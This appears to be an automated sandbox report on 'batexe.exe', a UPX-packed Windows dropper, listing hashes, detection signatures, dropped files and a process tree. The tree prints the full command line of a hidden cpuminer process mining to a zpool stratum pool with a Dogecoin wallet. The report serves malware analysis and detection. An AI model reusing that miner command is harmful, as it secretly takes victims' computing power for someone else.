73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
297s
max time network
310s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13/02/2024, 17:30

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1112	b2e.exe
2128	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2128	cpuminer-sse2.exe
2128	cpuminer-sse2.exe
2128	cpuminer-sse2.exe
2128	cpuminer-sse2.exe
2128	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1588-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1588 wrote to memory of 1112	1588	batexe.exe	73
PID 1588 wrote to memory of 1112	1588	batexe.exe	73
PID 1588 wrote to memory of 1112	1588	batexe.exe	73
PID 1112 wrote to memory of 4204	1112	b2e.exe	74
PID 1112 wrote to memory of 4204	1112	b2e.exe	74
PID 1112 wrote to memory of 4204	1112	b2e.exe	74
PID 4204 wrote to memory of 2128	4204	cmd.exe	77
PID 4204 wrote to memory of 2128	4204	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1588
- C:\Users\Admin\AppData\Local\Temp\CC68.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\CC68.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\CC68.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1112
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D06F.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4204
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2128

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CC68.tmp\b2e.exe

Filesize
7.6MB

MD5
48a50d4cd008dd779f6c72b67b190dfb

SHA1
4e31c74922ab3635db9324500930827b1f4ae8f0

SHA256
6a6d9dd3b17cfa6a06b689b23c6ab09b8894255d50737c3262c4c52f3112bab0

SHA512
b9e9504383540276120c45db7a94a31ff566164617f749474c8e3ac9cd07a84eed11dd848311d8954042c9523c62842456e3fbde0b4851111ebb316859f5bf05

Download Submit
C:\Users\Admin\AppData\Local\Temp\CC68.tmp\b2e.exe

Filesize
9.8MB

MD5
7d9aa6fd2b339fee5a698aa87e1f8079

SHA1
fc2a85ac4d2fb171f1b191fd7d1f2fa06a2553a4

SHA256
b32e97ecbad3bb35dfaa8ebddc9091da84ff22cf00eb95b0bc948673c1d5c093

SHA512
5f876acb42a4d730f43cd873cd7fdbb2f9432c5a1dbb8ddcdd929bfc107746705e9b3f0bd6d40d9c67b3999054dad891bd61008c9bbf78ff1a226e9d10ff7336

Download Submit
C:\Users\Admin\AppData\Local\Temp\D06F.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.6MB

MD5
900f039078ba5e6be919a20f3130cf91

SHA1
003b83828c9bc2b87dfb187a86fffa2ca05a9526

SHA256
bd96a1af79a360acb15a9f64fcd06bdc6ae2e6ee3d72bc7769630ef53a2bf61c

SHA512
26f10676edc07c00cb5dff8edd039ecdb0976a6bfdb8e152b9b82a1f5f7ed7da8afddf498c93d27214b2755ce60ea33005261cf540f9759bf4437aee2d63c22c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.3MB

MD5
cf31eeb9754390d2d235192b936aec14

SHA1
f9107a249e57a65a36ea97d23ab303b5f47a4ba5

SHA256
85ed620f3e21288ff33a6cf5b6528094745e60d454e258c7d825493774e0aef0

SHA512
0f7adb141a3b1f7ea34e3bfeabb818aa9e2503939ecdb4efd121d2163d756ea4f65185b00f7874fbe1e595aee6bda043e5db0c643f8d19e482f540234d2d2b0d

Download Submit
memory/1112-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1112-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1588-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2128-43-0x00000000504C0000-0x0000000050558000-memory.dmp

Filesize
608KB

Download
memory/2128-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2128-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2128-44-0x0000000000D40000-0x00000000025F5000-memory.dmp

Filesize
24.7MB

Download
memory/2128-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2128-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2128-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2128-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2128-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2128-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2128-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2128-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2128-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2128-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2128-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2128-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download